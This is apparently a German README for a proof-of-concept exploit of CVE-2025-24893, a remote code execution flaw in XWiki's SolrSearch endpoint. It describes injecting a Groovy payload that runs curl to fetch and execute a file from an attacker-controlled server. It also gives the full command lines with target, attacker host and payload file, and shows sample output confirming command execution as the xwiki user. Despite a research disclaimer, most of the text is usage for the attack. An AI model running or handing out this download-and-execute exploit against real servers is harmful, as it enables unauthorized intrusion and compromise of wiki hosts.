
PoC für CVE-2025-24893
Dieses Repository enthält einen Proof-of-Concept-Exploit (PoC) für die XWiki Remote Code Execution (RCE)-Sicherheitslücke mit der Kennung CVE-2025-24893. Die Sicherheitslücke ermöglicht es einem Angreifer, beliebigen Code auf einer Ziel-XWiki-Instanz auszuführen, indem er eine manipulierte Anfrage an den SolrSearch-Endpunkt sendet. Dieses Skript unterstützt sowohl HTTP- als auch HTTPS-Ziele.
⚠️ Haftungsausschluss: Dieser PoC ist ausschließlich für Bildungs- und Forschungszwecke bestimmt. Die unbefugte Verwendung dieses Codes gegen Systeme ohne ausdrückliche Genehmigung ist illegal und unethisch. Holen Sie stets die entsprechende Genehmigung ein, bevor Sie ein System testen.
Die Sicherheitslücke entsteht durch unsachgemäße Behandlung von Benutzereingaben im SolrSearch-Endpunkt, was die Einschleusung von Groovy-Code über eine präparierte Nutzlast ermöglicht. Dieser PoC zeigt, wie ein Angreifer dies ausnutzen kann, um beliebige Befehle auf dem Zielserver auszuführen.
requests, argparse, urllib.parse, re, htmlgit clone https://github.com/570RMBR3AK3R/xwiki-cve-2025-24893-poc.git
pip install requests
Das Skript sendet eine präparierte HTTP/HTTPS-Anfrage an die Ziel-XWiki-Instanz und injiziert eine Groovy-Nutzlast, die einen curl-Befehl ausführt, um eine Datei von einem Angreifer-kontrollierten Server abzurufen und auszuführen.
Führen Sie das Skript mit folgendem Befehl aus:
python3 exploit.py --url <target_url> --server <attacker_server> --file <malicious_file> [--no-verify]
--url: Die Basis-URL der Ziel-XWiki-Instanz (z.B. http://target oder https://target).--server: Die IP oder der Hostname des Angreifer-Servers, einschließlich des Ports falls erforderlich (z.B. 192.168.1.100:8080). Unterstützt sowohl HTTP als auch HTTPS.--file: Der Name der Datei auf dem Angreifer-Server, die den auszuführenden Code enthält (z.B. exploit.sh).--no-verify: Optionales Flag zum Deaktivieren der SSL-Überprüfung für HTTPS-Ziele (mit Vorsicht verwenden, nur für Tests).python3 exploit.py --url http(s)://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh
Um die SSL-Überprüfung zu umgehen (z.B. bei selbstsignierten Zertifikaten):
python3 exploit.py --url https://vulnerable-xwiki.com --server http(s)://192.168.1.100:8080 --file exploit.sh --no-verify
Dies führt Folgendes aus:
curl-Befehls verwendet.exploit.sh) vom Angreifer-Server (http(s)://192.168.1.100:8080) ab.Das Skript extrahiert die Antwort vom Ziel, entfernt HTML-Tags (z.B. <br/>, <del>) und konvertiert HTML-Entitäten zur besseren Lesbarkeit in Klartext. Die bereinigte Ausgabe wird auf der Konsole ausgegeben.
python3 exploit.py --url http://<redacted> --server http://<redacted>:8080 --file exploit.sh
uid=997(xwiki) gid=997(xwiki) groups=997(xwiki)
Zum Schutz vor dieser Sicherheitslücke:
Dieses Projekt ist unter der MIT-Lizenz lizenziert. Weitere Details finden Sie in der Datei LICENSE.